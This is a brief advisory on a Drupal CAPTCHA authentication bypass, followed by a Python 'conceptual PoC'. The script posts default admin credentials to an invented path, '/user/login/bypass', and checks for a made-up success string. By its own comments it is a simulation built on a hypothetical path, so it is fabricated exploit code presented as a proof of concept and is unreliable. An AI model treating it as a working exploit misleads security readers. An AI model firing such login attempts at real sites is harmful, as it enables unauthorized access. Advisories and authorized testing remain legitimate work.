Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal CAPTCHA allows Functionality Bypass.This issue affects CAPTCHA: from 0.0.0 before 1.17.0, from 2.0.0 before 2.0.10.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Conceptual PoC for CVE-2026-3214 Authentication Bypass
import requests
def bypass_captcha(target_url):
"""
Attempts to bypass CAPTCHA by accessing an alternate path.
This is a simulation based on the vulnerability description.
"""
# Normal path usually requires CAPTCHA solution
normal_path = "/user/login"
# Hypothetical alternate path that bypasses verification
alternate_path = "/user/login/bypass"
session = requests.Session()
# Payload data typically required for the action
payload = {
"name": "admin",
"pass": "password",
"form_id": "user_login"
}
try:
print(f"[*] Targeting: {target_url}")
# Attempt to access the alternate path directly
response = session.post(f"{target_url}{alternate_path}", data=payload)
if response.status_code == 200 and "login successful" in response.text:
print("[+] Potential Bypass Successful!")
else:
print("[-] Bypass failed or patched.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target = "http://example.com"
bypass_captcha(target)